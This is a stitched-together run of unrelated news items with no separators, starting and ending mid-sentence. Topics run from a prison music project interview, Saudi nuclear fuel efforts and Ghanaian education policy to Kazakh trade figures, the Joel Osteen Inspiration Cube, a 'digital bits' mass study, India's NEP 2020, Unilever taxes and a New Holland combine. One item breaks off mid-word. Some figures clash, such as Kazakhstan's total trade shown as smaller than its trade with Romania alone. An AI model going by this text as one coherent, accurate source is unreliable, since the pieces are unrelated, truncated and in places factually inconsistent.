donated upwards of $30k to Teddy Kanes rehabilitation; through proceeds from the album, Garland Carr bought his girlfriend a ring, and has since gotten married to her. The governor of Virginia is considering a pardon of Garlands sentence. Devonte James (who is again incarcerated) has been given special privileges as well. Speech, youve done an incredible thing here. Youve amplified the voices of less than a handful of talented individuals, in one city, one prison, in order to share with the world something much, much larger, and push a conversation that too often gets shoved under the rug. Can you talk a bit about the universality of this project? Slavery never actually ended in the United States of America. Through the 13th Amendment, there is an allowance for prisoners to be used as slaves by private and government businesses. Drug addiction is being treated as a violent crime instead of a public health disease. And disparities between Black, white, poor, and rich are blaring. We need to overhaul our prison system, so we can make a better country for all of us collectively. This all originates from Americas original sin: Slavery. It set into motion generational curses among Blacks and whites and our collective nation suffers as a result. How did you make your beats in advance? And how much did you find yourself altering them after you recorded the inmates? I brought my laptop and I bought the jail a ProTools license. That way I could record them in the makeshift and sparse spaces provided in jail, and then add and fill out the instrumentation later. The residents gave all the inspiration for each song, I just wanted to enhance that. We added everything from strings, horns, bass, and guitar after the fact, and then mixed and mastered it all. + Read more on Flypaper: Check out our full week of content on music in, about, and from prisons here. This project takes recording with limitations to a whole new level (concrete walls, limited gear, limited time, etc.). How did you overcome the hurdles of producing music like that? It was very tough to record under these conditions, because jail by nature is a transitional location. People are either getting free, or getting more time in an actual prison. I didnt know who I was even going to be recording with on any given day because a residents privileges could be taken away at any moment (which you can see examples of in the film). These limitations and uncertainties definitely had an affect on the music. Was it tough to mix the tracks (both group singing and individual lead vox) because of how and where they were recorded? Because the songs were not recorded in a proper music studio, the sound quality was limited to whatever we could accomplish in that space. We tried to create makeshift sound insulation to prevent a reflective sound problem wherever possible. How did your years of experience with Arrested Development support you in producing this project? I wanted to make sure the men shined through and not me. I actually had to make sure I down-played myself and my music credentials in order to make the men feel important and free to truly express their truth. Whats next for you and for this project? I didnt want this momentum to stop at one film. I decided to go deeper into the numerous causes of our criminal culture that attracts so many youth, and made a mini-documentary series called, Hoodwinked (The Ni%#a Factory). I also have a new podcast called Speechs Everyday People Podcast. On a personal musical level, I just released a new project called EXPANSION. Heres one of the first singles, Just Too Cold. Jeremy Young is a Montreal-based musician, sound artist and improviser who loves giving advice to emerging artists on how to make their tours more effective. He writes, records and performs electroacoustic concrete music for tape, oscillators and amplified objects and surfaces, as well as solo guitar. He has performed and released material throughout Europe and the UK, Asia, the US and Canada, mostly with his trio Sontag Shogun. Share on: US intelligence agencies are scrutinizing efforts by Saudi Arabia to build up its ability to produce nuclear fuel that could put the kingdom on a path to developing nuclear weapons. Spy agencies in recent weeks circulated a classified analysis about the efforts underway inside Saudi Arabia, working with China, to build industrial capacity to produce nuclear fuel. The analysis has raised alarms that there might be secret Saudi-Chinese efforts to process raw uranium into a form that could later be enriched into weapons fuel, according to US officials. As part of the study, they have identified a newly completed structure near a solar-panel production area near Riyadh, the Saudi capital, that some government analysts and outside experts suspect could be one of a number of undeclared nuclear sites. US officials said that the Saudi efforts were still in an early stage, and that intelligence analysts had yet to draw firm conclusions about some of the sites under scrutiny. Even if the kingdom has decided to pursue a military nuclear program, they said, it would be years before it could have the ability to produce a single nuclear warhead. Saudi officials have made no secret of their determination to keep pace with Iran, which has accelerated since President Donald Trump abandoned the 2015 nuclear deal with Tehran. Crown Prince Mohammed bin Salman pledged in 2018 that his kingdom would try to develop or acquire nuclear weapons if Iran continued its work toward a bomb. Last week, the House Intelligence Committee, led by Rep. Adam B. Schiff, D-Calif., included a provision in the intelligence budget authorization bill requiring the administration to submit a report about Saudi efforts since 2015 to develop a nuclear program, a clear indication that the committee suspects that some undeclared nuclear activity is going on. The report, the provision stated, should include an assessment of the state of nuclear cooperation between Saudi Arabia and any other country other than the United States, such as the Peoples Republic of China or the Russian Federation. An article in The Wall Street Journal on Tuesday said that Western officials were concerned about a different facility in Saudi Arabia, in the countrys northwest desert. The Journal said it was part of a program with the Chinese to extract uranium yellowcake from uranium ore. That is a necessary first step in the process of obtaining uranium for later enrichment, either for use in a civilian nuclear reactor or, enriched to much higher levels, a nuclear weapon. Saudi Arabia and China have publicly announced a number of joint nuclear projects in the kingdom including one to extract uranium from seawater with the stated goal of helping the worlds largest oil producer develop a nuclear energy program or become a uranium exporter. Intelligence officials have searched for decades for evidence that the Saudis are seeking to become a nuclear weapons power, fearful that any such move could result in a broader, destabilizing nuclear arms race in the Middle East. So far, Israel is the only nuclear weapons state in the region, a status it has never officially confirmed. In the 1990s, the Saudis helped bankroll Pakistans successful effort to produce a bomb. But it has never been clear whether Riyadh has a claim on a Pakistani weapon, or its technology. And 75 years after the detonation of the first nuclear weapon used in war the anniversary of the Hiroshima blast is Thursday only nine nations possess nuclear weapons. But ever since the debacle of the Iraq invasion in 2003, based on faulty assessments that Saddam Hussein was restarting the countrys once-robust nuclear program, intelligence agencies have been far more reluctant to warn of nuclear progress for fear of repeating a colossal mistake. At the White House, Trump administration officials seem relatively unperturbed by the Saudi effort. They say that until the Iranian nuclear program is permanently terminated, the Saudis will most likely keep the option open to produce their own fuel, leaving open a pathway to a weapon. But now the administration is in the uncomfortable position of declaring it could not tolerate any nuclear production ability in Iran, while seeming to remain silent about its close allies, the Saudis, for whom it has forgiven human rights abuses and military adventurism. Trump and his top aides have built close ties to the Saudi leadership, playing down the killing of the journalist and Saudi dissident Jamal Khashoggi and enlisting the crown prince in so-far fruitless Middle East peace efforts. It also comes at a time when the Trump administration is aggressively taking on China on numerous fronts, like its handling of the novel coronavirus and its efforts to crack down on freedoms in Hong Kong. So far, the White House has said nothing about Chinas array of nuclear deals with the Saudis. Spokespeople for the National Security Council and the CIA declined to comment. A spokesman for the Saudi Embassy in Washington did not respond to a message seeking comment. Late Wednesday, the State Department said in a statement to The New York Times that while it would not comment on intelligence findings, we routinely warn all our partners about the dangers of engagement with the P.R.C.s civil nuclear business, referring to the Peoples Republic of China, including the threats it presents of strategic manipulation and coercion, as well as technology theft. We strongly encourage all partners to work only with trusted suppliers who have strong nonproliferation standards. The statement also said that we oppose the spread of enrichment and reprocessing, and that the United States would attach great importance to continued compliance by the Saudis to the Nuclear Nonproliferation Treaty. It urged Saudi Arabia to conclude an agreement with the United States with strong nonproliferation protections that will enable Saudi and US nuclear industries to cooperate. Saudi Arabias work with the Chinese suggests that the Saudis may have now given up on the United States and turned to China instead to begin building the multibillion-dollar infrastructure needed to produce nuclear fuel. China has traditionally not insisted on such strict nonproliferation safeguards, and is eager to lock in Saudi oil supplies. Regional experts say part of the Saudi calculation stems from the view that the kingdom can no longer count on Americas willingness to counter Iran. That view gained more currency in the kingdom after the Obama administration signed the 2015 nuclear deal with Iran, known as the JCPOA. It forced Iran to give up 97% of its fuel stockpile, but left open a path to production in the future. They believe that as a result of the JCPOA they cant rely on anyone reining in the Iranians, and they are going to have to deter Iran themselves, said Rolf Mowatt-Larssen, a former CIA officer and director of intelligence and counterintelligence at the Energy Department. The irony, Mowatt-Larssen said, is that Saudi Arabia has sought both civilian nuclear partnerships and defense agreements with two powers Russia and China that have deep economic ties to Iran. Education Minister Dr Matthew Opoku Prempeh aka Napo said Tuesday that the Progressively Free SHS policy by the National Democratic Congress (NDC) when it was in government left GH30.1 million arrears for the 2015/16 academic year. That, he said, was when the programme started with day students only, but that debt has since been paid by the Akufo-Addo led government. Dr Prempeh said nothing at all was paid by the NDC in respect of the 120,000 boarding students to be catered for under, what he called the high-sounding Progressively Free programme in the 2016/17 academic year. In a statement on education and teacher reforms to Parliament, in Osu-Accra, the Minister gave thumbs up to the governing New Patriotic Party (NPP) on its policies in the education, and made mockery of critics who taunted the Government that the Free SHS programme would be unsuccessful. He said: Mr. Speaker, notwithstanding the initial hiccups, the Free SHS programme is here to stay and we are confident that the generality of Ghanaians are fully behind it. Dr Prempeh said the focus on education and acquisition of essential 21st century skills for the new millennium learners is now pervasive than it was in the past, across the world. He noted that it is on record, empirically, that every single year of schooling raises earnings by 10 percent, a rate of return that is obviously higher than alternative investments in bonds, stocks, deposits, among others, and gave assurance that the country is determined to develop its human capital capacity. The President, Nana Addo Danquah Akufo-Addo, is committed to providing our citizens with the requisite knowledge, skills and experiences, needed to lift them from deprivation to the path of prosperity, the Minister said, adding that education is the shortest pathway between deprivation and opportunity, between despair and hope, between helplessness and promise. The Minister said the Government kept its promise of implementing the flagship Free SHS programme in September 2017, nine months after its first year in office. Dr Prempeh announced that to date, over 1.2 million students have benefited from the Free SHS programme. Hed said the poegramme has expanded access to secondary education and enabled an extra 400,000 students to enroll in Senior High School. Despite few initial challenges in respect of implementation, Ghanaians have largely embraced this programme and the testimonies are endless. Mr. Speaker, we all know that, in 2016, many ridiculed our capacity to implement the programme, citing unavailability of funding, inadequate physical classroom structures and other school facilities to support implementation, among others. Seeing how successful the programme's implementation has been with such important policies such as the Double Track Year-Round Calendar, sustainable funding strategies, among others, our opponents are making a U-turn and promising a review of the programme if they win power in the 2020 elections, except they have failed to specifically say what aspect they will review, and to what end and purpose, the Minister said. GNA BAKU, Azerbaijan, Aug. 11 By Nargiz Sadikhova - Trend: The value of trade turnover between Kazakhstan and Romania amounted to over $645.3 million over first four months of 2020, compared to $533.4 million during the same period of 2019, Trend reports with reference to Kazakhstans Statistics Committee. The share of Romania in the total value of Kazakhstans trade turnover stood at 2.3 percent during the reporting period of 2020 compared to 1.8 percent during the same period of 2019. Kazakhstans export to Romania amounted to $620.2 million over the period from January through April 2020 compared to $511.1 million during the same period of 2019. Romanias share in the total volume of Kazakhstans export amounted to 3.4 percent during the reporting period of 2020, compared to 2.8 percent during the same period of 2019. In turn, Kazakhstans import from Romania amounted to $25.07 million over the reporting period compared to $22.2 million during the same period of 2019. Romanias total share in Kazakhstans import reached 0.3 percent during the reporting period of 2020 which is flat year-on-year compared to 0.2 percent during the same period of 2019. Total volume of Kazakhstans trade turnover made up $28.1 million over the period from Jan. through Apr. 2020 which indicates a decrease from $28.8 million during the same period of 2019. Kazakhstans export amounted to $18.3 million during the reporting period of 2020 ($18.5 million in the same period of 2019), whereas import amounted to $9.8 million ($10.3 million in the same period of 2019). --- Follow the author on twitter: @nargiz_sadikh "The U.S. has reached a landmark of sorts in its so far not very successful battle with the virus that causes Covid-19 most Americans now know someone who has been infected," writes Justin Fox at Bloomberg, about coronavirus social data from Navigator Research, shown above. From Navigator Research: Key takeaways: Trump's approval ratings on handling the pandemic remain deeply underwater. For the first time since the pandemic began, a majority of Americans know someone who has been infected with coronavirus. More than three in four Americans support states requiring people to wear masks. "We've now reached a point where most Americans have a personal link to the disease, which makes such denial a lot harder," writes Justin Fox at Bloomberg: Given what we know about the spread of the disease from other sources, it sounds about right. Although it is sad news, it may also mark something of a positive turning point. More than anything else, the key to keeping Covid-19 under control seems to be taking it seriously, and knowing someone with the disease can do a lot to focus a person on the risks it poses. That it had to come to this is of course tragic. A key enabler of the spread of the coronavirus, especially in affluent countries with the resources to stop it, has been an inability to imagine that what happened somewhere else might happen closer to home. Italians saw what transpired in China, and failed to act on the early signs that they might be next. New Yorkers saw what was going on Italy and the mayor and governor concluded that, well, this isn't Italy. Political leaders in the U.K. saw what was going on in Continental Europe and New York and seemed to think their compatriots could just tough it out, before belatedly changing course. Read the rest at Bloomberg News. Faith vs safety in burials: COVID-19 remains in dead bodies for 9 days says Centre Supreme Court agrees to hear PIL challenging use of EVMs in polls Supreme Court to hear Rajasthan BSP MLAs plea today India oi-Vicky Nanjappa New Delhi, Aug 11: The Supreme Court will today hear a petition by six former legislators of the BSP in Rajasthan demanding transfer of a petition from the Rajasthan High Court to the SC. The BSP MLAs had merged with the Congress in 2019 for which they faced disqualification petitions filed by BJP legislator Madan Dilawar. The petition was rejected by the Rajasthan speaker C P Joshi on July 29. Dilawar then approached the Rajasthan High Court, following which notices were issued to the Speaker. The HC had however refused to stay the order of the Speaker. Merger of BSP MLAs: Rajasthan HC refers matter to single judge Bench Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News The Congress too filed an application to be made a party in the case before the HC. During the pendency in the HC, Dilawar filed an appeal in the Supreme Court seeking a stay on the Speaker's decision. The BSP MLAs sought a transfer on the ground that the legal issues raised in Dilawar's plea in the HC are under consideration by the Supreme Court in another case from Assam. The SC will take up the matter for hearing today. Jal Shakti Minister launched the ' Academy', an IVR-based training course with modules on Open Defecation Free (ODF) Plus programme, a statement said on Tuesday. The ODF Plus is an extension of the ODF programme under the Swachch Bharat Mission. Its objective is to sustain the ODF programme and to take up Solid and Liquid Waste Management (SLWM). The Interactive Voice Response (IVR) based training course contains a 60-minute module spanning various topics under ODF as well as SLWM, the statement said. The SBM Academy was launched as part of the ongoing week-long behaviour change campaign 'Gandagi Mukt Bharat'. In a tweet, Shekhawat said the most crucial leaders of democracy are the village 'mukhiyas' and 'sarpanchas'. He said they will take Prime Minister Narendra Modi's vision of 'Garbage Free India' to people by ensuring all villages in the country collect and segregate single use plastic. "Saffron is for shramdaan, White is for cleanliness and Green is for the trees we plant this week. Let us hoist the Tiranga of a #GandagiMuktBharat this August 15," the minister tweeted. The SBM Academy course has four chapters, each with four audio lessons and a multiple-choice quiz at the end of the chapter. To be considered successful, the user must answer at least 50 per cent of the questions correctly. As of now the content of SBM Academy is in Hindi and the users are expected to dial in to a toll free number (18001800404) and complete listening to the entire content in their mobile phones, the statement added. "For sustaining the behaviour change and promoting the capacity building of the key stakeholders i.e. Swachhagrahis and other field functionaries, this IVR based free mobile online learning course on ODF Plus will be crucial in achieving goals underlined in Phase 2 of SBM (Grameen)," the statement said. Shekhawat added that SBM Academy, with its mobile-based technology, will significantly boost the capacity building efforts in training of Swachhagrahis as well as community-based organisations, NGOs, Self Help Groups and others who are associated with phase 2 of SBM(G). Parameswaran Iyer, Secretary, Department of Drinking Water and Sanitation (DDWS), said the phone-based academy will provide this free of charge, access to on-demand, anytime, anywhere training course with high quality and standardised content over basic mobile phone and also improve the knowledge and interpersonal communication skills in order to enhance the quality of interaction with the beneficiaries. Shekhawat said the (Grameen) has transformed rural India by manifesting into a public movement for sanitation and has led to the historic achievement of ODF declaration by all villages, districts and states on October 2, 2019, thus making rural India ODF. The Phase II of the SBM (G) was launched early this year, which focuses on ODF sustainability and SLWM. The programme will also work towards ensuring that no one is left behind and everyone uses a toilet, the statement added. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) By Trend The Central Bank of Azerbaijan (CBA) held a foreign exchange auction with the participation of the State Oil Fund of Azerbaijan (SOFAZ), during which Azerbaijani banks acquired $59.1 million, Trend reports citing CBA. According to CBA, demand from the banks at the auction decreased by 9 percent or by $5.3 million compared to the previous auction. Considering the number of days remaining before the next scheduled auction, as well as with the aim of ensuring uninterrupted currency trading by the banks, the demand of banks at the auction will be fully provided during weekends. The first foreign exchange auction in a long time was held with the participation of SOFAZ on March 10, 2020, during which Azerbaijani banks acquired $323.2 million. The CBA began to hold foreign exchange auctions through unilateral sale of foreign currency in competitive conditions since mid-January 2017. In March 2020, it was decided to hold extraordinary foreign exchange auctions in connection with the increased demand of the population for foreign currency amid the failed OPEC+ deal, which entailed a sharp decline in oil prices. (1 USD = 1.7 AZN on Aug.11) -- Follow us on Twitter @AzerNewsAz Actor Janhvi Kapoor, who saw the release of her film Gunjan Saxena: The Kargil Girl on Monday, has now shared a picture with Indian Air Force officer Gunjan Saxena. She noted that it was the first time she had met the officer. Sharing it, she simply wrote: First meeting. The picture shows Janhvi simply dressed in a pink and white salwar kameez with huge chandbalis as her only adornment while Gunjan is in a dull grey shirt. Writing about it, the Hindustan Times review said: Janhvi Kapoor plays the ultimate outsider in Gunjan Saxena: The Kargil Girl, a biopic of the Indian Air Forces first female combat pilot, out on Netflix on Wednesday. It isnt as slickly made as Uri: The Surgical Strike, but refreshingly, neither are its politics as problematic. Ahead of the films OTT release, Janhvi had also come under a barrage of attack for nepotism around the time of the release of the films trailer. Janhvi has always acknowledged her privilege but that there there was no reason for them to be apologetic about the film. In an interview to HT, she had said to take away from what (people are) feeling, she had said, would be slightly demeaning. But at the same time, the actor said, I know Im confident of what Ive done, and Im confident of the film and the story I dont think theres any reason for us to be apologetic for what weve done. Also read: Ankita Lokhande welcomes twins Abeer and Abeera to family: A new life has begun, see pic The film chronicles the journey of the first Indian woman Air Force officer -- Gunjan Saxena -- to enter a war zone. Gunjan, who is one of the first female pilots to fly in combat, played an important role in rescuing injured soldiers during the Kargil War in 1999 and was awarded the gallantry Shaurya Vir Award for displaying courage during the war. Directed by Sharan Sharma, Gunjan Saxena: The Kargil Girl also stars Pankaj Tripathi, Vineet Kumar Singh, Angad Bedi and Manav Vij in pivotal roles. The biopic has been being produced by Dharma Productions and Zee Studios and will release on Netflix on August 12. (With inputs from ANI) Follow @htshowbiz on Twitter SHARE THIS ARTICLE ON 'Joel Osteen Inspiration Cube' electronic device hits the market Each purchase supports the missions ministry at Lakewood Church Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Joel Osteen Inspiration Cube, an electronic device that plays daily affirmation, inspirations, and brief sermon clips from the senior pastor of the 40,000-member Lakewood Church in Houston, Texas, has hit the market. According to the Joel Osteen Inspiration Cube website, the cube is $39.99 and includes 365 daily inspirations, 52 sermons, and 31 affirmations that play with the push of a button. Start each day with just a touch, the website reads. A spokesperson for Lakewood Church told The Christian Post on Tuesday that each purchase supports the missions ministry at Lakewood Church. "Lakewood Church has licensed Pastor Osteen's messages to Idea Village of New Jersey for the creation of the Inspiration Cube," the spokesperson said. "The cube is a library of Joel's inspirational messages in a portable rechargeable audio device." Osteen won't receive any personal compensation from the sales of the Inspiration Cube, which will be available in September in stores across the country, including Walgreens, CVS and Walmart. "The Inspiration Cube is an ideal complement to the many ways that Lakewood delivers Joel's message of hope and inspiration around the world such as television, SiriusXM radio, internet streaming, social media, books, podcasts, and live events," the spokesperson added. In the promo video for the product, a narrator encourages prospective buyers to refuse the negative thoughts that keep you from reaching your goals and take back control. Challenge yourself today to be the best of you tomorrow, the narrator says. The promo also provides samplings of Osteens daily inspirations and affirmations: The forces that are for you are greater than the forces that are against you, Osteen says in the promo video. You can't think negative thoughts and live a positive life. If you get your mind going in the right direction, your life will go in the right direction. Other affirmations include, You have struggled long enough. Unexpected blessings are coming your way, and Some dreams are waking up. Hope is waking up, abundance is waking up. The website for the product also includes testimonials from satisfied customers. It makes you really energized. God is in control of your life. And boy have I seen blessings. He put the hope in my heart, said Dianne Morris. It was almost like a friend was speaking to me. Im at peace. My victory is already accounted for, said Irving Chavez. Osteen, the author of the bestselling book Your Best Life Now, often touts the power of positive thinking in his sermons and writings. He told CP in a 2013 interview that he has always been very happy, easy-going and encouraging" and his ministry is a reflection of these characteristics. It's just my personality, he said, adding: I try to look on all the great things God's done, and not focus on the negative. It's a perspective." "The older I get, the better I understand that every day is a gift," he said. ... "There's no guarantee of tomorrow. And part of my whole philosophy is: this day is too important to live it angry, upset, discouraged or stressed out if plans don't work out. This is life, and I'm going to move on. I think part of it, too, is believing that God's in control. That if a door closes or if something happens, God can use it for good. And if we're walking in His way, then it's His plan, and let's just relax and go with it. Some have accused Osteen of promoting prosperity theology, which espouses the idea that believers have a right to the blessings of health and wealth, and criticized him of failing to address the reality of sin. Pastor John MacArthur once condemned Osteen for reducing Jesus Christ to a footnote that satisfies his critics and deceives his followers. Osteen previously told CP he doesnt think its fair that he's often grouped into the prosperity gospel, explaining that he believes prosperity is being healthy, it's having great children, it's having peace of mind. He added: Money is part of it; and yes, I believe God wants us to excel ... I believe God wants us to excel and be blessed so we can be a bigger blessing to others. I feel very rewarded. I wrote a book and sold millions of copies; and Victoria and I were able to help more people than we ever dreamed of. But when I hear the term prosperity gospel, I think people are sometimes saying, Well, he's just asking for money. The number of digital bits will overtake the number of atoms on Earth within 150 years, according to a new study that warns of an impending 'information catastrophe'. By 2170, the world will be 'mostly computer simulated and dominated by digital bits and computer code', the study claims. There will be 133 quindecillion (133 followed by 48 zeroes) bits in existence the same as the estimated number of atoms on the planet. However, the power needed to support information transfer will equal all the power currently produced on Earth, leading to ethical and environmental concerns. Digital content is also on track to equal half the Earth's mass approximately 6,000,000,000,000,000,000,000,000 (6 x 10 to the power of 24) kilograms by the year 2245, according to the report. Vopson wants to experimentally verify that information bits have mass, which he extrapolated to forecast in 225 years will be half of Earth's mass Bits are the basic unit of information that power computing and digital communications, including streaming services such as Netflix. IBM estimates that the present rate of digital content production is about 20 quintillion digital bits every day, with as much as 90 per cent of the world's data created in the last 10 years alone. In 2019, Dr Melvin Vopson at the University of Portsmouth formulated the principle that information is not just an abstract mathematical entity, but a 'physical, dominant, fifth state of matter'. Digital bits are not the generally accepted 'fifth state of matter' a title that is usually given to BoseEinstein condensate. Dr Vopson argues that digital bits have their own mass and energy, although this principle 'still awaits an experimental verification'. 'Assuming it is correct, it opens up interesting possibilities with wide ranging implications for computing technologies, physics and cosmology,' he said. Natural resources such as coal, oil and natural gas power computer servers that process huge amounts of digital information to sustain services like Netflix and Facebook At present, the total mass of all the information we produce yearly on Earth is 'extremely insignificant' and impossible to notice about 1,000 billion times smaller than the mass of single grain of rice, or about the mass of one E.coli bacteria. However, the production of digital information is rapidly increasing every year, so the researcher wanted to estimate the total information mass after a certain number of years at various growth rates. Using current data storage densities, he worked out the number of bits produced per year and the size of a bit compared to the size of an atom. Assuming a conservative annual growth of digital content creation of 1 per cent, Vopson worked out that it would take around 3,150 years to produce the first cumulative 1kg of digital information mass on the planet. It would also around 8,800 years to convert half of the planets mass into digital information mass. However, in an extreme scenario, in which our digital information production growth is consistently around 50 per year, there will be 1kg of digital bits on the planet by 2070, exploding to equal half the Earth's mass by 2245. Under the 50 per cent scenario, it would be approximately 130 years until the power needed to sustain digital information creation would equal all the power currently produced on planet Earth, and the number of bits would equal the number of atoms on Earth within approximately 150 years. Dr Vopson warns that an impending limit on the number of bits, the energy to produce them and the distribution of physical and digital mass could ultimately overwhelm the planet. Demand will match atoms on the planet, which the US Department of Energys Jefferson Lab estimates to be 133 quindecillion (133 followed by 48 zeroes). Atoms can join together to form molecules, which in turn form most of the objects around us 'We are literally changing the planet bit by bit, and it is an invisible crisis,' said author Dr Melvin Vopson at the University of Portsmouth. 'The growth of digital information seems truly unstoppable. 'In some ways, the current Covid-19 pandemic has accelerated this process as more digital content is used and produced than ever before.' Assuming the current growth trends in digital content continue, the world will eventually reach a singularity, Dr Vopson says. This information catastrophe will mark the point at which the maximum possible digital information has been created, as well as the maximum power at which to sustain it. 'The digital information production alone will consume most of the planetary power capacity, leading to ethical and environmental concerns,' the study author says. 'These issues are valid regardless of the future developments in data storage technologies. According to the researcher, 'one could envisage a future world mostly computer simulated and dominated by digital bits and computer code' 'Our technological progress inverts radically the distribution of the Earths matter from predominantly ordinary matter, to the fifth form of digital information matter. 'In this context, assuming the planetary power limitations are solved, one could envisage a future world mostly computer simulated and dominated by digital bits and computer code.' Vopson's theory draws on the mass-energy equivalence in Albert Einstein's theory of general relativity, the work of German physicist Rolf Landauer, who applied the laws of thermodynamics to information, and the work of American mathematician Claude Shannon, the inventor of the digital bit. 'The mass-energy-information equivalence principle builds on these concepts and opens up a huge range of new physics, especially in cosmology,' he said. 'When one brings information content into existing physical theories, it is almost like an extra dimension to everything in physics.' The study has been published in AIP Advances. Less than a week passed between Don Bonnet's sudden loss of a tenant at his Oildale rental and his discovery, upon returning from medical trea The Akufo-Addo government is set to introduce a new yearly allowance for teachers. This new allowance is being called the Professional Teacher Allowance and will be a one-time payment yearly. Professional teachers will receive GHS1,200 whilst non-professional teachers will receive GHS600. In an address to Parliament, the Education Minister, Dr. Mathew Opoku Prempeh said this allowance will enable teachers to invest in improving and upgrading their skills and keeping abreast with modern trends to assist in improving learning outcomes. Shedding more light on the allowance, the President of the National Association of Graduate Teachers (NAGRAT), Mr. Angel Carbonu, said the initiative has been captured in the upcoming conditions of service for teachers. It is very welcome to us. It is part of the negotiated conditions of service that we are about to sign with the Ministry [of Education] and the Ghana Education Service, he said on Eyewitness News. Commenting on the variance in the allowance for professional and non-professional teachers, Mr. Carbonu noted that the division was because the Service would no longer be recruiting non-professional services. They took into consideration the professional requirements and expectations of a professional teacher in renewing your license. They took that into consideration to calculate how much each person will get, he explained further. Mr. Carbonu also said teachers had put in place measures to ensure there is no disappointment from the government as has been seen over the years. What we have insisted is that it should be paid through the Controller and Accountant General. It should not go through any regional or district office education. It should also not be sent to any school to be paid to the teacher. The new conditions of service is expected to be signed within the next two weeks. citinewsroom Madhur Singhal India took a giant leap forward by launching the New Education Policy 2020 (NEP 2020) on July 29, three decades after the last major revision to the policy in 1986. The NEP 2020 advocates three key thematic developments: One, a move from content-driven pedagogy that inspired rote learning to conceptual testing; two, a 360-degree assessment covering educational, mental, and physical well-being of the students, and; three, an experiential approach through vocational skills, mathematical and computational thinking, and new-age skills such as coding and data science. The motivation is to make Indian learners truly future-ready, and global citizens. The Government of India seems intent in rolling out the vision in terms of curriculum revision, teacher-training, and equipping schools for ICT-enabled and assessment-driven evaluation over the next few years. This is critical for India to truly reap the demographic dividend through re-skilling, vocational training, and job creation. The objective is noble, and the policy is timely. However, the success and pace of implementation will depend on how successfully the government can scale five key challenges. Curriculum And Content The NEP calls for curriculum and pedagogical changes. The boards which conduct examinations will need to re-think how they assess students and what the learning content rubric should be. School textbooks will need realignment too. Given that 87 percent of K12 learners in India are in the schools with annual tuition fee of less than Rs 12,000, these changes will need to be easily cascaded across tiers of schools. Teacher Availability Over 250M-plus students are estimated to enrol in K12 schools in India by 2030. At a teacher-student ratio of 1:35, India would need an estimated 7M-plus teachers to address this burgeoning student population who will need to have graduated through the defined B.Ed programme for 12th pass, graduates and post-graduates for four, two and one year respectively. Teacher Skilling Teaching is one of the low-paid professions in India with an average teacher earning around Rs 200,000 per year. Given these constraints, experiential learning, and concept-oriented teaching, versus the currently prevalent printed content-oriented teaching will be tough. A comprehensive National Curriculum Framework for Teacher Education has also been announced in the NEP in addition to Teacher Eligibility Tests (TETs) to create a talented and curated pool of educators who can impart quality education to the students. However, the current pool of educators needs to be orientated towards these teaching techniques. Until the structural constraint in teacher remuneration is not corrected in the education ecosystem, the NEP implementation in spirit and form will stay challenged. Rollout of such a curriculum could produce unintended academic results for underprivileged learners who will now not have books or other supplementary aids to fall back on. Technology At Scale Digital infrastructure of similar scale will be needed using digital classrooms, remote expertise-driven teaching models, AR/VR tools to bridge gaps in physical teaching and laboratory infrastructure, uniform assessments across schools even in remote villages, career counselling and teacher training aids. Evaluation Infrastructure Under the NEP, examinations are being advised to transform towards a culture of assessment with continuous tracking of learning outcomes, a focus on higher order and foundational skills, and AI-based software progress tracking to enable students to make optimal career choices. Continuous assessment requires schools and teachers to innovate on evaluation approaches and assignments that are thought-provoking and require students to apply themselves. Compared to theory-based-examinations that have unilateral questions and answers that are easier to administer and score, holistic assessments would require educational boards and institutions to invest significantly in creating these assessments and practice assignments. Of the 1.5M-plus schools in India, 75 percent are run by the government at a very low to no annual fee structure. Of the remaining 400,000 private schools, about 80 percent schools fall in the category of Budget Private Schools charging Rs 500-1,000 per month, leaving a mere 15,000 (less than one percent of total schools) that can support the necessary infrastructure required for conceptualising and conducting such assessments. The NEP 2020 drafting committee has undertaken a comprehensive process that considers state/UT governments, global best practices, expert opinions, field experiences, and stakeholder feedback. In the more affluent echelons, privately-owned Edtech is already taking a large part of the education spend away from the formal education systems. The vision is aspirational. The implementation roadmap and rigour will determine whether this truly fosters education-for-all and job creation. FILE PHOTO: The logo of Unilever is seen at the headquarters in Rotterdam AMSTERDAM (Reuters) - Anglo-Dutch consumer goods company Unilever said in a filing on Monday that a plan to unify its headquarters in London and scrap its Dutch base might not go ahead - if a law enacting an "exit tax" in the Netherlands is enacted. Unilever said the law, if passed, would mean it needs to pay 11 billion euros ($12.94 billion) to the Dutch government. It is not clear whether the law, proposed by the opposition Green Left political party, is in accordance with Dutch and European law, or whether it would win majority support in the Dutch parliament. The Netherlands' Council of State is considering the proposed law and will give an advisory opinion as to whether it is legal. It has not set a date for its decision. Unilever said it did not think the Green Left plan was legal. "Nevertheless, if the bill were enacted in its present form, the boards believe that proceeding with unification, if it resulted in an exit tax charge of some 11 billion euros, would not be in the best interests of Unilever," it said. The remarks were published on Monday as part of a shareholders' circular ahead of a Sept. 21 extraordinary meeting in Rotterdam to approve the unification. Taxes have played a pivotal role in Unilever's decision-making as it tries to simpify its dual structure: it had initially decided to unify headquarters in Rotterdam, in 2018. But it cancelled those plans after the Dutch government decided to retain a 15% withholding tax on dividends. Britain does not impose a withholding tax on dividends. ($1 = 0.8503 euros) (Reporting by Toby Sterling; editing by Barbara Lewis) Versatile: New Hollands new CH7.70 includes two threshing methods in one unit The advent of the rotary combine in response to the need for ever more productive machines while keeping them a manageable size has, over the years, led to a division between the new high-capacity units and the traditional straw-walker-based harvester. More recently various attempts have been made to bridge that gap, and New Holland have launched a single new model which is designed to slot in between its high-end CR range and the lesser CX machines. The CH7.70 is described as a hybrid which brings together the traditional threshing drum and the more modern twin rotary separators, which, up until now, have been considered sufficient in themselves to thresh and separate the grain from the straw. Relegating the twin rotors to the less demanding task of separation might appear to be an admission that all was not well with the original concept. However, New Holland emphasise the positive and claim that their latest machine offers a 25pc increase in throughput and 35pc reduction in cracked grains compared to other combines in this market segment. That is a quantifiable metric, but you can't be so precise about straw quality, often a criticism of rotary-type machines of any sort. This has held up the adoption of such threshing methods in regions where the straw may be sold to livestock farmers. New Holland are stressing the quality of both the grain sample and the straw delivered by what they have called 'Crossover Harvesting', a term that has led to the 'CH' classification of the range, although it presently comprises just the one model. Including the two threshing methods in one unit brings a whole new level of versatility to harvesting, according to New Holland. They claim that a minimal amount of adjustment is required between crop types. The 600mm drum feeds the crop directly into the two rotors which have been designed especially for this application. Aggressively The company points to the near 3 sq metre separation area provided by the 3.45m-long rotors which, it would seem, do not treat the already threshed crop as aggressively as would twin 